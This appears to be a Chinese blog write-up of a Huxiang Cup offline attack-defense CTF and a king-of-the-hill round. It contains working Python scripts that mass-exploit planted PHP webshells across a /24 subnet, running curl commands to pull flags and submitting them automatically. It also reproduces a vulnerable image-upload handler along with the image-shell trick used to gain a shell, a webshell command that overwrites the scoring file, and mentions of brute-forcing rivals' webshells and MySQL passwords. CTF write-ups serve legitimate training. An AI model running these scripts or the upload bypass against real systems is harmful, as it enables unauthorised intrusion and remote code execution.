湖湘杯线下AWD记录

发现一个 .shell.php菜刀马，密码c ，但是是root权限创建，并且有定时任务一直写入，无法删除，可以选择写一个 while循环删除他。然后根据.shell.php去批量拿flag。

#coding=utf-8
import requests
import re
from gevent import pool
from gevent import monkey
from gevent import lock
monkey.patch_all()

port="80"
payload =  {"c": 'system('curl http://172.16.0.225:8000/flag');'}
heads = {"cookie":"PHPSESSID=censulo0283idutu58ap6lvem7; xdgame_username=hacker"}

def f(flag):
    data = {"key": flag}
    try:
        req =requests.post("http://172.16.0.225/index.php/wargame/submit", data=data, headers=heads, timeout=2)
        title = re.findall('<title>(.*?)</title>', req.text, re.S)
        return title
    except Exception as e:
        pass
        
webshelllist=open("webshelllist.txt","w")
flag = open("firstround_flag.txt","w")

def get_(ip):
    url = "http://%s/.shell.php" % ip
    try:
        res = requests.post(url, payload, timeout=2)
        print ip, f(str(res.text)), res.text,"bbb"
    except Exception as e:
        pass

def get_1(ip):
    url = "http://%s/.config.php" % ip
    payloads = {"cmd": 'system('curl http://172.16.0.225:8000/flag');'}
    try:
        res = requests.post(url, payloads, timeout=2)
        if res.text:
            print ip, f(str(res.text)), "aaa"
    except Exception as e:
        pass

pl = pool.Pool(254)
ipl = ["172.16.0.%s" % x for x in range(0, 254)]
pl.map(get_, ipl)
pl.join()

webshelllist.close()
flag.close()

脚本丢给队友去执行，继续审计代码，通过搜索eval关键字，成功又找到一枚后门

1

然后编写代码，继续批量拿flag，很多选手可能到后面才知道，ip段是 172.16.0.0/24 和 172.16.0.1/24

import requests
import re
from gevent import pool
from gevent import monkey
monkey.patch_all()

heads = {"cookie":"PHPSESSID=censulo0283idutu58ap6lvem7; xdgame_username=hacker",
         "User-Agent": "hacker"}
proxy = {"http": "http://127.0.0.1:8080", "https":"http://127.0.0.1:8080"}

def f(flag):
    data = {"key": flag}
    try:
        req =requests.post("http://172.16.0.225/index.php/wargame/submit", data=data, headers=heads, timeout=2)
        title = re.findall('<title>(.*?)</title>', req.text, re.S)
        return title
    except Exception as e:
        f(flag)

def get_(ip):
    url = "http://%s/3/gcount/styles/.web2/?a=system('curl http://172.16.0.225:8000/flag');" % ip
    try:
        res = requests.post(url, timeout=2)
        print res.status_code
        if res.status_code == 200:
            print ip, f(str(res.text.strip())), res.text, "bbb"
    except Exception as e:
        pass

pl = pool.Pool(100)
ipl = ["172.16.0.%s" % x for x in range(0, 254)]
#ipl = ["172.16.1.%s" % x for x in range(0, 254)]
pl.map(get_, ipl)
pl.join()

根据这个后门在最后一个小时里面，狂刷分到结束从第十一刷到第二。后面爆破了一下mysql，发现很多队伍都没有修改 mysql 的密码。

第一场 AWD 结束。

下午场

还是头一次参加这种比赛，赛制为 在Web目录下的HIll/SCORE_POINTS的文件中写入你队伍的token，服务器每半个小时重置一次，每5分钟check一次，check时写入的成功队伍则得分。

web1.humensec.com
web2.humensec.com
web3.humensec.com
web4.humensec.com
web5.humensec.com
pwn1.humensec.com
pwn2.humensec.com
pwn3.humensec.com

刚刚开始一个个去测试漏洞，但是前面两个小时我们队伍题目都很难打开，只能扫选手的80端口玩玩，见到了搭建了乌云知识库的、搭建ctf笔记的、各种DVWA的。。。

“”” 省略一个小时 “””

后面发现web站都存在目录遍历，upload目录有别人的上传痕迹，刷新等webshell，然后爆破别人的webshell,成功拿下了web1.humensec.com，果断先扒下源码，简单审计一下：

知道别人是通过任意文件上传拿下的webshell，直接在源码里面搜索upload

代码：

<?php
    /* Note: This thumbnail creation script requires the GD PHP Extension.  
        If GD is not installed correctly PHP does not render this page correctly
        and SWFUpload will get "stuck" never calling uploadSuccess or uploadError
     */

    // Get the session Id passed from SWFUpload. We have to do this to work-around the Flash Player Cookie Bug
    @set_time_limit(0);
    @error_reporting (E_ALL & ~E_NOTICE & ~E_WARNING);
    ini_set('html_errors', '0');

    define('SYSTEM_ROOT', str_replace("\", '/',substr(dirname(__FILE__),0,-10)));
    include SYSTEM_ROOT.'include/common.inc.php';

    if (isset($_POST["PHPSESSID"])) {
        session_id($_POST["PHPSESSID"]);
    }

    session_start();

    ini_set("html_errors", "0");

    // Check the upload
    if (!isset($_FILES["Filedata"]) || !is_uploaded_file($_FILES["Filedata"]["tmp_name"]) || $_FILES["Filedata"]["error"] != 0) {
        echo "err-1";
        exit(0);
    }

    if (!is_array(@getimagesize($_FILES["Filedata"]["tmp_name"])))
    {
        echo "err-2";
        exit(0);
    }

    if (!isset($_SESSION["file_info"])) {
        $_SESSION["file_info"] = array();
    }
    
    $fileName = $_userid.'_'.time().mt_rand(10000,99999).'.'.strtolower(get_fileext($_FILES["Filedata"]["name"]));
    $path=date('Y-m-d',time()).'/';
    @mkdir(SYSTEM_ROOT.'upload/image/'.$path);
    move_uploaded_file($_FILES["Filedata"]["tmp_name"], "../../upload/image/".$path. $fileName);

    // 加水印

    setwatermark(SYSTEM_ROOT.'upload/image/'.$path.$fileName);

    echo "FILEID:" . $path.$fileName;
    exit(0);
?>

只需要上传一个合成后的图片马，copy 1.jpg/b + 1.php new.jpg , 即可 shell 然后后面就是一直在刷新修改SCORE_POINTS文件。。。（北京梆梆和安恒一直和我们抢，抢的都没有我们的分多 hahahaha）

?ccc=system(‘echo “队伍名“>/var/www/Hill/SCORE_POINTS’);

tips:用IE6刷新速度贼快然后从 0 分，到最后一直刷新到了第四名。第二场 netkoth 结束